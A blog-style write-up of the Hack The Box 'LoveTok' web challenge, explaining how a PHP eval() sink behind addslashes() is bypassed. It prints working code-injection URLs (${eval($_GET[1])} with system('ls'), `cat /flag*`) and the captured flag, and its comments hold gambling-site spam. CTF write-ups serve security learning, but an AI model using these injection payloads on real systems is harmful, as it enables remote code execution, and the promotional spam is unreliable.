Love-Tok Write up HTB

By /

Table of Contents

Description:

True love is tough and even harder to find. Once the sun has set, the lights close and the bell has rung… you find yourself licking your wounds and contemplating human existence. You wish to have somebody important in your life to share the experiences that come with it, the good and the bad. This is why we made LoveTok, the brand new service that accurately predicts in the threshold of milliseconds when love will come knockin’ (at your door). Come and check it out, but don’t try to cheat love because love cheats back. 💛

Go to hack the box and click on start Instance

It gives the Host address

It gives the Host address

Paste the host address on the browser. it is showing like this please check the below image

If we clicked on the “Nah, that doesn’t work for me. Try again!” button, a new time will be shown. However, we will notice the URL has changed where “?format=r” has been appended

http://134.122.106.163:30222/?format=r
 <?php
class TimeController
{
    public function index($router)
    {
        $format = isset($_GET['format']) ? $_GET['format'] : 'r';
        $time = new TimeModel($format);
        return $router->view('index', ['time' => $time->getTime()]);
    }
}
http://134.122.106.163:30222/?format=${eval($_GET[1])}&1=system(ls);

As the 1 variable is actually self-defined and goes through eval, its result is parsed and referenced through the PHP eval function on the challenge source code and does not actually go through the addslashes() function, at least not in a direct way. So we could use quotes in our self-referenced variable and the following way:

http://134.122.106.163:30222/?format=${eval($_GET[1])}&1=system('ls%20../');

ls command on / directory

http://134.122.106.163:30222/?format=${print(`cat /flag*`)} 
                                    or 
http://134.122.106.163:30222/?format=${system($_GET[1])}&1=cat+/flagIVmuX
FLAG : HTB{wh3n_l0v3_Redacted_p0pp1ng}

Conclusion:

There are various ways to bypass an addslashes() restriction filter when user input is provided to the eval() php function . There might even a broader attack surface as the addslashes restriction payload bypass described above might be applicable to other kind of attacks in some specific cases, such as an SQL Injection, Command Injection attack.

Thanks For Reading

Happy Hacking !!!

, ,

30 thoughts on “Love-Tok Write up HTB”

  12. binance

    I don’t think the title of your article matches the content lol. Just kidding, mainly because I had some doubts after reading the article.

    Reply
  20. xsmb68

    Alright folks, listen up! Been kickin’ around on xsmb68 lately and gotta say, the platform is pretty slick. Easy to navigate, decent selection of games. I’d recommend giving xsmb68 a shot if you’re looking for a new spot to play.

    Reply
  27. 666jl

    Heard about 666jl from a buddy. Gave it a spin, and it’s actually pretty decent. Fast loading times, and the overall vibe is chill. Give it a go, maybe you’ll dig it too.

    Reply

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top